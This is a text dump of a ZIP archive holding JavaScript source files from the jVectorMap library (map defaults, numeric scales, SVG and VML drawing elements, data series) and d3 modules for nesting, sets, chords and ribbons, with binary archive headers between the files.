    this.tip.remove();
    this.container.remove();
    jvm.$(window).unbind('resize', this.onResize);
    jvm.$('body').unbind('mouseup', this.onContainerMouseUp);
  }
};

jvm.Map.maps = {};
jvm.Map.defaultParams = {
  map: 'world_mill_en',
  backgroundColor: '#505050',
  zoomButtons: true,
  zoomOnScroll: true,
  zoomOnScrollSpeed: 3,
  panOnDrag: true,
  zoomMax: 8,
  zoomMin: 1,
  zoomStep: 1.6,
  zoomAnimate: true,
  regionsSelectable: false,
  markersSelectable: false,
  bindTouchEvents: true,
  regionStyle: {
    initial: {
      fill: 'white',
      "fill-opacity": 1,
      stroke: 'none',
      "stroke-width": 0,
      "stroke-opacity": 1
    },
    hover: {
      "fill-opacity": 0.8,
      cursor: 'pointer'
    },
    selected: {
      fill: 'yellow'
    },
    selectedHover: {
    }
  },
  regionLabelStyle: {
    initial: {
      'font-family': 'Verdana',
      'font-size': '12',
      'font-weight': 'bold',
      cursor: 'default',
      fill: 'black'
    },
    hover: {
      cursor: 'pointer'
    }
  },
  markerStyle: {
    initial: {
      fill: 'grey',
      stroke: '#505050',
      "fill-opacity": 1,
      "stroke-width": 1,
      "stroke-opacity": 1,
      r: 5
    },
    hover: {
      stroke: 'black',
      "stroke-width": 2,
      cursor: 'pointer'
    },
    selected: {
      fill: 'blue'
    },
    selectedHover: {
    }
  },
  markerLabelStyle: {
    initial: {
      'font-family': 'Verdana',
      'font-size': '12',
      'font-weight': 'bold',
      cursor: 'default',
      fill: 'black'
    },
    hover: {
      cursor: 'pointer'
    }
  }
};
jvm.Map.apiEvents = {
  onRegionTipShow: 'regionTipShow',
  onRegionOver: 'regionOver',
  onRegionOut: 'regionOut',
  onRegionClick: 'regionClick',
  onRegionSelected: 'regionSelected',
  onMarkerTipShow: 'markerTipShow',
  onMarkerOver: 'markerOver',
  onMarkerOut: 'markerOut',
  onMarkerClick: 'markerClick',
  onMarkerSelected: 'markerSelected',
  onViewportChange: 'viewportChange'
};PKI��\�%��mmkeys.jsnu�[���export default function(map) {
  var keys = [];
  for (var key in map) keys.push(key);
  return keys;
}
PKI��\�vT(xx	values.jsnu�[���export default function(map) {
  var values = [];
  for (var key in map) values.push(map[key]);
  return values;
}
PKI��\Twa**nest.jsnu�[���import map from "./map";

export default function() {
  var keys = [],
      sortKeys = [],
      sortValues,
      rollup,
      nest;

  function apply(array, depth, createResult, setResult) {
    if (depth >= keys.length) {
      if (sortValues != null) array.sort(sortValues);
      return rollup != null ? rollup(array) : array;
    }

    var i = -1,
        n = array.length,
        key = keys[depth++],
        keyValue,
        value,
        valuesByKey = map(),
        values,
        result = createResult();

    while (++i < n) {
      if (values = valuesByKey.get(keyValue = key(value = array[i]) + "")) {
        values.push(value);
      } else {
        valuesByKey.set(keyValue, [value]);
      }
    }

    valuesByKey.each(function(values, key) {
      setResult(result, key, apply(values, depth, createResult, setResult));
    });

    return result;
  }

  function entries(map, depth) {
    if (++depth > keys.length) return map;
    var array, sortKey = sortKeys[depth - 1];
    if (rollup != null && depth >= keys.length) array = map.entries();
    else array = [], map.each(function(v, k) { array.push({key: k, values: entries(v, depth)}); });
    return sortKey != null ? array.sort(function(a, b) { return sortKey(a.key, b.key); }) : array;
  }

  return nest = {
    object: function(array) { return apply(array, 0, createObject, setObject); },
    map: function(array) { return apply(array, 0, createMap, setMap); },
    entries: function(array) { return entries(apply(array, 0, createMap, setMap), 0); },
    key: function(d) { keys.push(d); return nest; },
    sortKeys: function(order) { sortKeys[keys.length - 1] = order; return nest; },
    sortValues: function(order) { sortValues = order; return nest; },
    rollup: function(f) { rollup = f; return nest; }
  };
}

function createObject() {
  return {};
}

function setObject(object, key, value) {
  object[key] = value;
}

function createMap() {
  return map();
}

function setMap(map, key, value) {
  map.set(key, value);
}
PKI��\�j2�GGset.jsnu�[���import {default as map, prefix} from "./map";

function Set() {}

var proto = map.prototype;

Set.prototype = set.prototype = {
  constructor: Set,
  has: proto.has,
  add: function(value) {
    value += "";
    this[prefix + value] = value;
    return this;
  },
  remove: proto.remove,
  clear: proto.clear,
  values: proto.keys,
  size: proto.size,
  empty: proto.empty,
  each: proto.each
};

function set(object, f) {
  var set = new Set;

  // Copy constructor.
  if (object instanceof Set) object.each(function(value) { set.add(value); });

  // Otherwise, assume it’s an array.
  else if (object) {
    var i = -1, n = object.length;
    if (f == null) while (++i < n) set.add(object[i]);
    else while (++i < n) set.add(f(object[i], i, object));
  }

  return set;
}

export default set;
PKI��\�W���
entries.jsnu�[���export default function(map) {
  var entries = [];
  for (var key in map) entries.push({key: key, value: map[key]});
  return entries;
}
PKP��\ơ���chord.jsnu�[���import {range} from "d3-array";
import {max, tau} from "./math";

function compareValue(compare) {
  return function(a, b) {
    return compare(
      a.source.value + a.target.value,
      b.source.value + b.target.value
    );
  };
}

export default function() {
  var padAngle = 0,
      sortGroups = null,
      sortSubgroups = null,
      sortChords = null;

  function chord(matrix) {
    var n = matrix.length,
        groupSums = [],
        groupIndex = range(n),
        subgroupIndex = [],
        chords = [],
        groups = chords.groups = new Array(n),
        subgroups = new Array(n * n),
        k,
        x,
        x0,
        dx,
        i,
        j;

    // Compute the sum.
    k = 0, i = -1; while (++i < n) {
      x = 0, j = -1; while (++j < n) {
        x += matrix[i][j];
      }
      groupSums.push(x);
      subgroupIndex.push(range(n));
      k += x;
    }

    // Sort groups…
    if (sortGroups) groupIndex.sort(function(a, b) {
      return sortGroups(groupSums[a], groupSums[b]);
    });

    // Sort subgroups…
    if (sortSubgroups) subgroupIndex.forEach(function(d, i) {
      d.sort(function(a, b) {
        return sortSubgroups(matrix[i][a], matrix[i][b]);
      });
    });

    // Convert the sum to scaling factor for [0, 2pi].
    // TODO Allow start and end angle to be specified?
    // TODO Allow padding to be specified as percentage?
    k = max(0, tau - padAngle * n) / k;
    dx = k ? padAngle : tau / n;

    // Compute the start and end angle for each group and subgroup.
    // Note: Opera has a bug reordering object literal properties!
    x = 0, i = -1; while (++i < n) {
      x0 = x, j = -1; while (++j < n) {
        var di = groupIndex[i],
            dj = subgroupIndex[di][j],
            v = matrix[di][dj],
            a0 = x,
            a1 = x += v * k;
        subgroups[dj * n + di] = {
          index: di,
          subindex: dj,
          startAngle: a0,
          endAngle: a1,
          value: v
        };
      }
      groups[di] = {
        index: di,
        startAngle: x0,
        endAngle: x,
        value: groupSums[di]
      };
      x += dx;
    }

    // Generate chords for each (non-empty) subgroup-subgroup link.
    i = -1; while (++i < n) {
      j = i - 1; while (++j < n) {
        var source = subgroups[j * n + i],
            target = subgroups[i * n + j];
        if (source.value || target.value) {
          chords.push(source.value < target.value
              ? {source: target, target: source}
              : {source: source, target: target});
        }
      }
    }

    return sortChords ? chords.sort(sortChords) : chords;
  }

  chord.padAngle = function(_) {
    return arguments.length ? (padAngle = max(0, _), chord) : padAngle;
  };

  chord.sortGroups = function(_) {
    return arguments.length ? (sortGroups = _, chord) : sortGroups;
  };

  chord.sortSubgroups = function(_) {
    return arguments.length ? (sortSubgroups = _, chord) : sortSubgroups;
  };

  chord.sortChords = function(_) {
    return arguments.length ? (_ == null ? sortChords = null : (sortChords = compareValue(_))._ = _, chord) : sortChords && sortChords._;
  };

  return chord;
}
PKP��\ٷ[�{	{		ribbon.jsnu�[���import {slice} from "./array";
import constant from "./constant";
import {cos, halfPi, sin} from "./math";
import {path} from "d3-path";

function defaultSource(d) {
  return d.source;
}

function defaultTarget(d) {
  return d.target;
}

function defaultRadius(d) {
  return d.radius;
}

function defaultStartAngle(d) {
  return d.startAngle;
}

function defaultEndAngle(d) {
  return d.endAngle;
}

export default function() {
  var source = defaultSource,
      target = defaultTarget,
      radius = defaultRadius,
      startAngle = defaultStartAngle,
      endAngle = defaultEndAngle,
      context = null;

  function ribbon() {
    var buffer,
        argv = slice.call(arguments),
        s = source.apply(this, argv),
        t = target.apply(this, argv),
        sr = +radius.apply(this, (argv[0] = s, argv)),
        sa0 = startAngle.apply(this, argv) - halfPi,
        sa1 = endAngle.apply(this, argv) - halfPi,
        sx0 = sr * cos(sa0),
        sy0 = sr * sin(sa0),
        tr = +radius.apply(this, (argv[0] = t, argv)),
        ta0 = startAngle.apply(this, argv) - halfPi,
        ta1 = endAngle.apply(this, argv) - halfPi;

    if (!context) context = buffer = path();

    context.moveTo(sx0, sy0);
    context.arc(0, 0, sr, sa0, sa1);
    if (sa0 !== ta0 || sa1 !== ta1) { // TODO sr !== tr?
      context.quadraticCurveTo(0, 0, tr * cos(ta0), tr * sin(ta0));
      context.arc(0, 0, tr, ta0, ta1);
    }
    context.quadraticCurveTo(0, 0, sx0, sy0);
    context.closePath();

    if (buffer) return context = null, buffer + "" || null;
  }

  ribbon.radius = function(_) {
    return arguments.length ? (radius = typeof _ === "function" ? _ : constant(+_), ribbon) : radius;
  };

  ribbon.startAngle = function(_) {
    return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : startAngle;
  };

  ribbon.endAngle = function(_) {
    return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant(+_), ribbon) : endAngle;
  };

  ribbon.source = function(_) {
    return arguments.length ? (source = _, ribbon) : source;
  };

  ribbon.target = function(_) {
    return arguments.length ? (target = _, ribbon) : target;
  };

  ribbon.context = function(_) {
    return arguments.length ? ((context = _ == null ? null : _), ribbon) : context;
  };

  return ribbon;
}
PK��\I)p[[numeric-scale.jsnu�[���jvm.NumericScale = function(scale, normalizeFunction, minValue, maxValue) {
  this.scale = [];

  normalizeFunction = normalizeFunction || 'linear';

  if (scale) this.setScale(scale);
  if (normalizeFunction) this.setNormalizeFunction(normalizeFunction);
  if (typeof minValue !== 'undefined' ) this.setMin(minValue);
  if (typeof maxValue !== 'undefined' ) this.setMax(maxValue);
};

jvm.NumericScale.prototype = {
  setMin: function(min) {
    this.clearMinValue = min;
    if (typeof this.normalize === 'function') {
      this.minValue = this.normalize(min);
    } else {
      this.minValue = min;
    }
  },

  setMax: function(max) {
    this.clearMaxValue = max;
    if (typeof this.normalize === 'function') {
      this.maxValue = this.normalize(max);
    } else {
      this.maxValue = max;
    }
  },

  setScale: function(scale) {
    var i;

    this.scale = [];
    for (i = 0; i < scale.length; i++) {
      this.scale[i] = [scale[i]];
    }
  },

  setNormalizeFunction: function(f) {
    if (f === 'polynomial') {
      this.normalize = function(value) {
        return Math.pow(value, 0.2);
      }
    } else if (f === 'linear') {
      delete this.normalize;
    } else {
      this.normalize = f;
    }
    this.setMin(this.clearMinValue);
    this.setMax(this.clearMaxValue);
  },

  getValue: function(value) {
    var lengthes = [],
        fullLength = 0,
        l,
        i = 0,
        c;

    if (typeof this.normalize === 'function') {
      value = this.normalize(value);
    }
    for (i = 0; i < this.scale.length-1; i++) {
      l = this.vectorLength(this.vectorSubtract(this.scale[i+1], this.scale[i]));
      lengthes.push(l);
      fullLength += l;
    }

    c = (this.maxValue - this.minValue) / fullLength;
    for (i=0; i<lengthes.length; i++) {
      lengthes[i] *= c;
    }

    i = 0;
    value -= this.minValue;
    while (value - lengthes[i] >= 0) {
      value -= lengthes[i];
      i++;
    }

    if (i == this.scale.length - 1) {
      value = this.vectorToNum(this.scale[i])
    } else {
      value = (
        this.vectorToNum(
          this.vectorAdd(this.scale[i],
            this.vectorMult(
              this.vectorSubtract(this.scale[i+1], this.scale[i]),
              (value) / (lengthes[i])
            )
          )
        )
      );
    }

    return value;
  },

  vectorToNum: function(vector) {
    var num = 0,
        i;

    for (i = 0; i < vector.length; i++) {
      num += Math.round(vector[i])*Math.pow(256, vector.length-i-1);
    }
    return num;
  },

  vectorSubtract: function(vector1, vector2) {
    var vector = [],
        i;

    for (i = 0; i < vector1.length; i++) {
      vector[i] = vector1[i] - vector2[i];
    }
    return vector;
  },

  vectorAdd: function(vector1, vector2) {
    var vector = [],
        i;

    for (i = 0; i < vector1.length; i++) {
      vector[i] = vector1[i] + vector2[i];
    }
    return vector;
  },

  vectorMult: function(vector, num) {
    var result = [],
        i;

    for (i = 0; i < vector.length; i++) {
      result[i] = vector[i] * num;
    }
    return result;
  },

  vectorLength: function(vector) {
    var result = 0,
        i;
    for (i = 0; i < vector.length; i++) {
      result += vector[i] * vector[i];
    }
    return Math.sqrt(result);
  },

  /* Derived from d3 implementation https://github.com/mbostock/d3/blob/master/src/scale/linear.js#L94 */
  getTicks: function(){
    var m = 5,
        extent = [this.clearMinValue, this.clearMaxValue],
        span = extent[1] - extent[0],
        step = Math.pow(10, Math.floor(Math.log(span / m) / Math.LN10)),
        err = m / span * step,
        ticks = [],
        tick,
        v;

    if (err <= .15) step *= 10;
    else if (err <= .35) step *= 5;
    else if (err <= .75) step *= 2;

    extent[0] = Math.floor(extent[0] / step) * step;
    extent[1] = Math.ceil(extent[1] / step) * step;

    tick = extent[0];
    while (tick <= extent[1]) {
      if (tick == extent[0]) {
        v = this.clearMinValue;
      } else if (tick == extent[1]) {
        v = this.clearMaxValue;
      } else {
        v = tick;
      }
      ticks.push({
        label: tick,
        value: this.getValue(v)
      });
      tick += step;
    }

    return ticks;
  }
};
PK��\�i(���vml-path-element.jsnu�[���jvm.VMLPathElement = function(config, style){
  var scale = new jvm.VMLElement('skew');

  jvm.VMLPathElement.parentClass.call(this, 'shape', config, style);

  this.node.coordorigin = "0 0";

  scale.node.on = true;
  scale.node.matrix = '0.01,0,0,0.01,0,0';
  scale.node.offset = '0,0';

  this.node.appendChild(scale.node);
};

jvm.inherits(jvm.VMLPathElement, jvm.VMLShapeElement);

jvm.VMLPathElement.prototype.applyAttr = function(attr, value){
  if (attr === 'd') {
    this.node.path = jvm.VMLPathElement.pathSvgToVml(value);
  } else {
    jvm.VMLShapeElement.prototype.applyAttr.call(this, attr, value);
  }
};

jvm.VMLPathElement.pathSvgToVml = function(path) {
  var cx = 0, cy = 0, ctrlx, ctrly;

  path = path.replace(/(-?\d+)e(-?\d+)/g, '0');
  return path.replace(/([MmLlHhVvCcSs])\s*((?:-?\d*(?:\.\d+)?\s*,?\s*)+)/g, function(segment, letter, coords, index){
    coords = coords.replace(/(\d)-/g, '$1,-')
            .replace(/^\s+/g, '')
            .replace(/\s+$/g, '')
            .replace(/\s+/g, ',').split(',');
    if (!coords[0]) coords.shift();
    for (var i=0, l=coords.length; i<l; i++) {
      coords[i] = Math.round(100*coords[i]);
    }
    switch (letter) {
      case 'm':
        cx += coords[0];
        cy += coords[1];
        return 't'+coords.join(',');
      case 'M':
        cx = coords[0];
        cy = coords[1];
        return 'm'+coords.join(',');
      case 'l':
        cx += coords[0];
        cy += coords[1];
        return 'r'+coords.join(',');
      case 'L':
        cx = coords[0];
        cy = coords[1];
        return 'l'+coords.join(',');
      case 'h':
        cx += coords[0];
        return 'r'+coords[0]+',0';
      case 'H':
        cx = coords[0];
        return 'l'+cx+','+cy;
      case 'v':
        cy += coords[0];
        return 'r0,'+coords[0];
      case 'V':
        cy = coords[0];
        return 'l'+cx+','+cy;
      case 'c':
        ctrlx = cx + coords[coords.length-4];
        ctrly = cy + coords[coords.length-3];
        cx += coords[coords.length-2];
        cy += coords[coords.length-1];
        return 'v'+coords.join(',');
      case 'C':
        ctrlx = coords[coords.length-4];
        ctrly = coords[coords.length-3];
        cx = coords[coords.length-2];
        cy = coords[coords.length-1];
        return 'c'+coords.join(',');
      case 's':
        coords.unshift(cy-ctrly);
        coords.unshift(cx-ctrlx);
        ctrlx = cx + coords[coords.length-4];
        ctrly = cy + coords[coords.length-3];
        cx += coords[coords.length-2];
        cy += coords[coords.length-1];
        return 'v'+coords.join(',');
      case 'S':
        coords.unshift(cy+cy-ctrly);
        coords.unshift(cx+cx-ctrlx);
        ctrlx = coords[coords.length-4];
        ctrly = coords[coords.length-3];
        cx = coords[coords.length-2];
        cy = coords[coords.length-1];
        return 'c'+coords.join(',');
    }
    return '';
  }).replace(/z/g, 'e');
};PK��\����		vector-canvas.jsnu�[���/**
 * Class for vector images manipulations.
 * @constructor
 * @param {DOMElement} container to place canvas to
 * @param {Number} width
 * @param {Number} height
 */
jvm.VectorCanvas = function(container, width, height) {
  this.mode = window.SVGAngle ? 'svg' : 'vml';

  if (this.mode == 'svg') {
    this.impl = new jvm.SVGCanvasElement(container, width, height);
  } else {
    this.impl = new jvm.VMLCanvasElement(container, width, height);
  }
  this.impl.mode = this.mode;
  return this.impl;
};PK��\o�C
map-object.jsnu�[���jvm.MapObject = function(config){};

jvm.MapObject.prototype.getLabelText = function(key){
  var text;

  if (this.config.label) {
    if (typeof this.config.label.render === 'function') {
      text = this.config.label.render(key);
    } else {
      text = key;
    }
  } else {
    text = null;
  }
  return text;
}

jvm.MapObject.prototype.getLabelOffsets = function(key){
  var offsets;

  if (this.config.label) {
    if (typeof this.config.label.offsets === 'function') {
      offsets = this.config.label.offsets(key);
    } else if (typeof this.config.label.offsets === 'object') {
      offsets = this.config.label.offsets[key];
    }
  }
  return offsets || [0, 0];
}

/**
 * Set hovered state to the element. Hovered state means mouse cursor is over element. Styles will be updates respectively.
 * @param {Boolean} isHovered <code>true</code> to make element hovered, <code>false</code> otherwise.
 */
jvm.MapObject.prototype.setHovered = function(isHovered){
  if (this.isHovered !== isHovered) {
    this.isHovered = isHovered;
    this.shape.isHovered = isHovered;
    this.shape.updateStyle();
    if (this.label) {
      this.label.isHovered = isHovered;
      this.label.updateStyle();
    }
  }
};

/**
 * Set selected state to the element. Styles will be updates respectively.
 * @param {Boolean} isSelected <code>true</code> to make element selected, <code>false</code> otherwise.
 */
jvm.MapObject.prototype.setSelected = function(isSelected){
  if (this.isSelected !== isSelected) {
    this.isSelected = isSelected;
    this.shape.isSelected = isSelected;
    this.shape.updateStyle();
    if (this.label) {
      this.label.isSelected = isSelected;
      this.label.updateStyle();
    }
    jvm.$(this.shape).trigger('selected', [isSelected]);
  }
};

jvm.MapObject.prototype.setStyle = function(){
	this.shape.setStyle.apply(this.shape, arguments);
};

jvm.MapObject.prototype.remove = function(){
  this.shape.remove();
  if (this.label) {
    this.label.remove();
  }
};PK��\(3�600vml-canvas-element.jsnu�[���jvm.VMLCanvasElement = function(container, width, height){
  this.classPrefix = 'VML';
  jvm.VMLCanvasElement.parentClass.call(this, 'group');
  jvm.AbstractCanvasElement.apply(this, arguments);
  this.node.style.position = 'absolute';
};

jvm.inherits(jvm.VMLCanvasElement, jvm.VMLElement);
jvm.mixin(jvm.VMLCanvasElement, jvm.AbstractCanvasElement);

jvm.VMLCanvasElement.prototype.setSize = function(width, height){
  var paths,
      groups,
      i,
      l;

  this.width = width;
  this.height = height;
  this.node.style.width = width + "px";
  this.node.style.height = height + "px";
  this.node.coordsize = width+' '+height;
  this.node.coordorigin = "0 0";
  if (this.rootElement) {
    paths = this.rootElement.node.getElementsByTagName('shape');
    for(i = 0, l = paths.length; i < l; i++) {
      paths[i].coordsize = width+' '+height;
      paths[i].style.width = width+'px';
      paths[i].style.height = height+'px';
    }
    groups = this.node.getElementsByTagName('group');
    for(i = 0, l = groups.length; i < l; i++) {
      groups[i].coordsize = width+' '+height;
      groups[i].style.width = width+'px';
      groups[i].style.height = height+'px';
    }
  }
};

jvm.VMLCanvasElement.prototype.applyTransformParams = function(scale, transX, transY) {
  this.scale = scale;
  this.transX = transX;
  this.transY = transY;
  this.rootElement.node.coordorigin = (this.width-transX-this.width/100)+','+(this.height-transY-this.height/100);
  this.rootElement.node.coordsize = this.width/scale+','+this.height/scale;
};PK��\i���svg-text-element.jsnu�[���jvm.SVGTextElement = function(config, style){
  jvm.SVGTextElement.parentClass.call(this, 'text', config, style);
}

jvm.inherits(jvm.SVGTextElement, jvm.SVGShapeElement);

jvm.SVGTextElement.prototype.applyAttr = function(attr, value){
  if (attr === 'text') {
    this.node.textContent = value;
  } else {
    jvm.SVGTextElement.parentClass.prototype.applyAttr.apply(this, arguments);
  }
};PK��\�1�%%data-series.jsnu�[���/**
 * Creates data series.
 * @constructor
 * @param {Object} params Parameters to initialize series with.
 * @param {Array} params.values The data set to visualize.
 * @param {String} params.attribute Numberic or color attribute to use for data visualization. This could be: <code>fill</code>, <code>stroke</code>, <code>fill-opacity</code>, <code>stroke-opacity</code> for markers and regions and <code>r</code> (radius) for markers only.
 * @param {Array} params.scale Values used to map a dimension of data to a visual representation. The first value sets visualization for minimum value from the data set and the last value sets visualization for the maximum value. There also could be intermidiate values. Default value is <code>['#C8EEFF', '#0071A4']</code>
 * @param {Function|String} params.normalizeFunction The function used to map input values to the provided scale. This parameter could be provided as function or one of the strings: <code>'linear'</code> or <code>'polynomial'</code>, while <code>'linear'</code> is used by default. The function provided takes value from the data set as an input and returns corresponding value from the scale.
 * @param {Number} params.min Minimum value of the data set. Could be calculated automatically if not provided.
 * @param {Number} params.min Maximum value of the data set. Could be calculated automatically if not provided.
 */
jvm.DataSeries = function(params, elements, map) {
  var scaleConstructor;

  params = params || {};
  params.attribute = params.attribute || 'fill';

  this.elements = elements;
  this.params = params;
  this.map = map;

  if (params.attributes) {
    this.setAttributes(params.attributes);
  }

  if (jvm.$.isArray(params.scale)) {
    scaleConstructor = (params.attribute === 'fill' || params.attribute === 'stroke') ? jvm.ColorScale : jvm.NumericScale;
    this.scale = new scaleConstructor(params.scale, params.normalizeFunction, params.min, params.max);
  } else if (params.scale) {
    this.scale = new jvm.OrdinalScale(params.scale);
  } else {
    this.scale = new jvm.SimpleScale(params.scale);
  }

  this.values = params.values || {};
  this.setValues(this.values);

  if (this.params.legend) {
    this.legend = new jvm.Legend($.extend({
      map: this.map,
      series: this
    }, this.params.legend))
  }
};

jvm.DataSeries.prototype = {
  setAttributes: function(key, attr){
    var attrs = key,
        code;

    if (typeof key == 'string') {
      if (this.elements[key]) {
        this.elements[key].setStyle(this.params.attribute, attr);
      }
    } else {
      for (code in attrs) {
        if (this.elements[code]) {
          this.elements[code].element.setStyle(this.params.attribute, attrs[code]);
        }
      }
    }
  },

  /**
   * Set values for the data set.
   * @param {Object} values Object which maps codes of regions or markers to values.
   */
  setValues: function(values) {
    var max = -Number.MAX_VALUE,
        min = Number.MAX_VALUE,
        val,
        cc,
        attrs = {};

    if (!(this.scale instanceof jvm.OrdinalScale) && !(this.scale instanceof jvm.SimpleScale)) {
      // we have a color scale as an array
      if (typeof this.params.min === 'undefined' || typeof this.params.max === 'undefined') {
        // min and/or max are not defined, so calculate them
        for (cc in values) {
          val = parseFloat(values[cc]);
          if (val > max) max = val;
          if (val < min) min = val;
        }
      }

      if (typeof this.params.min === 'undefined') {
        this.scale.setMin(min);
        this.params.min = min;
      } else {
        this.scale.setMin(this.params.min);
      }

      if (typeof this.params.max === 'undefined') {
        this.scale.setMax(max);
        this.params.max = max;
      } else {
        this.scale.setMax(this.params.max);
      }

      for (cc in values) {
        if (cc != 'indexOf') {
          val = parseFloat(values[cc]);
          if (!isNaN(val)) {
            attrs[cc] = this.scale.getValue(val);
          } else {
            attrs[cc] = this.elements[cc].element.style.initial[this.params.attribute];
          }
        }
      }
    } else {
      for (cc in values) {
        if (values[cc]) {
          attrs[cc] = this.scale.getValue(values[cc]);
        } else {
          attrs[cc] = this.elements[cc].element.style.initial[this.params.attribute];
        }
      }
    }

    this.setAttributes(attrs);
    jvm.$.extend(this.values, values);
  },

  clear: function(){
    var key,
        attrs = {};

    for (key in this.values) {
      if (this.elements[key]) {
        attrs[key] = this.elements[key].element.shape.style.initial[this.params.attribute];
      }
    }
    this.setAttributes(attrs);
    this.values = {};
  },

  /**
   * Set scale of the data series.
   * @param {Array} scale Values representing scale.
   */
  setScale: function(scale) {
    this.scale.setScale(scale);
    if (this.values) {
      this.setValues(this.values);
    }
  },

  /**
   * Set normalize function of the data series.
   * @param {Function|String} normilizeFunction.
   */
  setNormalizeFunction: function(f) {
    this.scale.setNormalizeFunction(f);
    if (this.values) {
      this.setValues(this.values);
    }
  }
};
PK��\�t���svg-group-element.jsnu�[���jvm.SVGGroupElement = function(){
  jvm.SVGGroupElement.parentClass.call(this, 'g');
}

jvm.inherits(jvm.SVGGroupElement, jvm.SVGElement);

jvm.SVGGroupElement.prototype.add = function(element){
  this.node.appendChild( element.node );
};PK��\��'��vml-shape-element.jsnu�[���jvm.VMLShapeElement = function(name, config){
  jvm.VMLShapeElement.parentClass.call(this, name, config);

  this.fillElement = new jvm.VMLElement('fill');
  this.strokeElement = new jvm.VMLElement('stroke');
  this.node.appendChild(this.fillElement.node);
  this.node.appendChild(this.strokeElement.node);
  this.node.stroked = false;

  jvm.AbstractShapeElement.apply(this, arguments);
};

jvm.inherits(jvm.VMLShapeElement, jvm.VMLElement);
jvm.mixin(jvm.VMLShapeElement, jvm.AbstractShapeElement);

jvm.VMLShapeElement.prototype.applyAttr = function(attr, value){
  switch (attr) {
    case 'fill':
      this.node.fillcolor = value;
      break;
    case 'fill-opacity':
      this.fillElement.node.opacity = Math.round(value*100)+'%';
      break;
    case 'stroke':
      if (value === 'none') {
        this.node.stroked = false;
      } else {
        this.node.stroked = true;
      }
      this.node.strokecolor = value;
      break;
    case 'stroke-opacity':
      this.strokeElement.node.opacity = Math.round(value*100)+'%';
      break;
    case 'stroke-width':
      if (parseInt(value, 10) === 0) {
        this.node.stroked = false;
      } else {
        this.node.stroked = true;
      }
      this.node.strokeweight = value;
      break;
    case 'd':
      this.node.path = jvm.VMLPathElement.pathSvgToVml(value);
      break;
    default:
      jvm.VMLShapeElement.parentClass.prototype.applyAttr.apply(this, arguments);
  }
};PK��\+|_l��svg-path-element.jsnu�[���jvm.SVGPathElement = function(config, style){
  jvm.SVGPathElement.parentClass.call(this, 'path', config, style);
  this.node.setAttribute('fill-rule', 'evenodd');
}

jvm.inherits(jvm.SVGPathElement, jvm.SVGShapeElement);PK��\��GR``vml-group-element.jsnu�[���jvm.VMLGroupElement = function(){
  jvm.VMLGroupElement.parentClass.call(this, 'group');

  this.node.style.left = '0px';
  this.node.style.top = '0px';
  this.node.coordorigin = "0 0";
};

jvm.inherits(jvm.VMLGroupElement, jvm.VMLElement);

jvm.VMLGroupElement.prototype.add = function(element){
  this.node.appendChild( element.node );
};PK��\Q8��AA
jvectormap.jsnu�[���/**
 * @namespace jvm Holds core methods and classes used by jVectorMap.
 */
var jvm = {

  /**
   * Inherits child's prototype from the parent's one.
   * @param {Function} child
   * @param {Function} parent
   */
  inherits: function(child, parent) {
    function temp() {}
    temp.prototype = parent.prototype;
    child.prototype = new temp();
    child.prototype.constructor = child;
    child.parentClass = parent;
  },

  /**
   * Mixes in methods from the source constructor to the target one.
   * @param {Function} target
   * @param {Function} source
   */
  mixin: function(target, source){
    var prop;

    for (prop in source.prototype) {
      if (source.prototype.hasOwnProperty(prop)) {
        target.prototype[prop] = source.prototype[prop];
      }
    }
  },

  min: function(values){
    var min = Number.MAX_VALUE,
        i;

    if (values instanceof Array) {
      for (i = 0; i < values.length; i++) {
        if (values[i] < min) {
          min = values[i];
        }
      }
    } else {
      for (i in values) {
        if (values[i] < min) {
          min = values[i];
        }
      }
    }
    return min;
  },

  max: function(values){
    var max = Number.MIN_VALUE,
        i;

    if (values instanceof Array) {
      for (i = 0; i < values.length; i++) {
        if (values[i] > max) {
          max = values[i];
        }
      }
    } else {
      for (i in values) {
        if (values[i] > max) {
          max = values[i];
        }
      }
    }
    return max;
  },

  keys: function(object){
    var keys = [],
        key;

    for (key in object) {
      keys.push(key);
    }
    return keys;
  },

  values: function(object){
    var values = [],
        key,
        i;

    for (i = 0; i < arguments.length; i++) {
      object = arguments[i];
      for (key in object) {
        values.push(object[key]);
      }
    }
    return values;
  },

  whenImageLoaded: function(url){
    var deferred = new jvm.$.Deferred(),
        img = jvm.$('<img/>');

    img.error(function(){
      deferred.reject();
    }).load(function(){
      deferred.resolve(img);
    });
    img.attr('src', url);

    return deferred;
  },

  isImageUrl: function(s){
    return /\.\w{3,4}$/.test(s);
  }
};

jvm.$ = jQuery;

/**
 * indexOf polyfill for IE < 9
 * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf
 */
if (!Array.prototype.indexOf) {
  Array.prototype.indexOf = function (searchElement, fromIndex) {

    var k;

    // 1. Let O be the result of calling ToObject passing
    //    the this value as the argument.
    if (this == null) {
      throw new TypeError('"this" is null or not defined');
    }

    var O = Object(this);

    // 2. Let lenValue be the result of calling the Get
    //    internal method of O with the argument "length".
    // 3. Let len be ToUint32(lenValue).
    var len = O.length >>> 0;

    // 4. If len is 0, return -1.
    if (len === 0) {
      return -1;
    }

    // 5. If argument fromIndex was passed let n be
    //    ToInteger(fromIndex); else let n be 0.
    var n = +fromIndex || 0;

    if (Math.abs(n) === Infinity) {
      n = 0;
    }

    // 6. If n >= len, return -1.
    if (n >= len) {
      return -1;
    }

    // 7. If n >= 0, then Let k be n.
    // 8. Else, n<0, Let k be len - abs(n).
    //    If k is less than 0, then let k be 0.
    k = Math.max(n >= 0 ? n : len - Math.abs(n), 0);

    // 9. Repeat, while k < len
    while (k < len) {
      // a. Let Pk be ToString(k).
      //   This is implicit for LHS operands of the in operator
      // b. Let kPresent be the result of calling the
      //    HasProperty internal method of O with argument Pk.
      //   This step can be combined with c
      // c. If kPresent is true, then
      //    i.  Let elementK be the result of calling the Get
      //        internal method of O with the argument ToString(k).
      //   ii.  Let same be the result of applying the
      //        Strict Equality Comparison Algorithm to
      //        searchElement and elementK.
      //  iii.  If same is true, return k.
      if (k in O && O[k] === searchElement) {
        return k;
      }
      k++;
    }
    return -1;
  };
}PK��\��=0��simple-scale.jsnu�[���jvm.SimpleScale = function(scale){
  this.scale = scale;
};

jvm.SimpleScale.prototype.getValue = function(value){
  return value;
};PK��\����svg-canvas-element.jsnu�[���jvm.SVGCanvasElement = function(container, width, height){
  this.classPrefix = 'SVG';
  jvm.SVGCanvasElement.parentClass.call(this, 'svg');

  this.defsElement = new jvm.SVGElement('defs');
  this.node.appendChild( this.defsElement.node );

